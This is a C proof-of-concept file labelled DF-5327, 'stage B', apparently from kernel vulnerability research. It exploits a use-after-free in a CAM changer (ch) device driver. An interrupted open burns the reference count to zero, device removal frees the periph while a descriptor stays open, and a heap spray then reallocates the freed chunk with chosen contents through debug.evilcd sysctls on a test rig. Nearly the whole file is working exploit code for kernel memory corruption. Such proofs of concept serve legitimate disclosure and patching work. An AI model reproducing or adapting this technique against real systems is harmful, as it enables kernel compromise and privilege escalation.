DF-5327 / poc_chopen2.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 | /* DF-5327 PoC stage B: premature free + attacker reallocation. * * With the refcount burned to 0 by the chopen() desync (stage A), * the ch device is OPEN with refcount == 0. Device removal * (AC_LOST_DEVICE) then runs camperiphfree() immediately: * chcleanup() -> kfree(softc) and kfree(periph) while the fd is * still open. The rig then sprays sizeof(struct cam_periph) * allocations and one lands at EXACTLY the freed periph address * with fully chosen contents (debug.evilcd.sprayfake). */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/sysctl.h> #include <sys/wait.h> #include <sys/chio.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <signal.h> #include <errno.h> static int refcnt(void) { int v = -999; size_t l = sizeof(v); sysctlbyname("debug.evilcd.refcnt", &v, &l, NULL, 0); return (v); } static void sysctl_set(const char *name, int v) { size_t l = sizeof(v); sysctlbyname(name, NULL, NULL, &v, l); } static void postmortem(const char *tag) { char buf[1024]; size_t l = sizeof(buf); if (sysctlbyname("debug.evilcd.postmortem", buf, &l, NULL, 0) != 0) strlcpy(buf, "(sysctl failed)", sizeof(buf)); printf("[parent] %s: %s\n", tag, buf); } static void sigh(int sig) { (void)sig; } int main(void) { pid_t p1, p2; int st, fd; setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, sigh); siginterrupt(SIGALRM, 1); sysctl_set("debug.evilcd.defer", 1); /* child 1: completes open#1 with refcount==0, keeps fd open */ p1 = fork(); if (p1 == 0) { fd = open("/dev/ch0", O_RDWR); if (fd < 0) _err(1, "open#1"); printf("[child1] open#1 done, fd OPEN, refcount=%d " "(*** 0: free-on-invalidate armed ***)\n", refcnt()); /* hold the fd open across the invalidation */ sleep(6); close(fd); printf("[child1] close on (freed) periph: refcount=%d\n", refcnt()); _exit(0); } sleep(2); /* child 2: interrupted open burns the ref */ p2 = fork(); if (p2 == 0) { alarm(1); open("/dev/ch0", O_RDWR); _exit(0); } waitpid(p2, &st, 0); sysctl_set("debug.evilcd.defer", 0); sleep(2); /* open#1 completes: refcount 0, fd open */ printf("[parent] pre-invalidate refcount=%d (fd open)\n", refcnt()); /* device removal: refcount==0 -> camperiphfree NOW */ sysctl_set("debug.evilcd.invalidate", 1); sleep(2); printf("[parent] invalidate done with the descriptor still open\n"); postmortem("postmortem(freed)"); /* attacker-side reallocation of the exact freed chunk */ sysctl_set("debug.evilcd.sprayfake", 1); sleep(1); postmortem("postmortem(regroomed)"); waitpid(p1, &st, 0); printf("[parent] done\n"); return (0); } |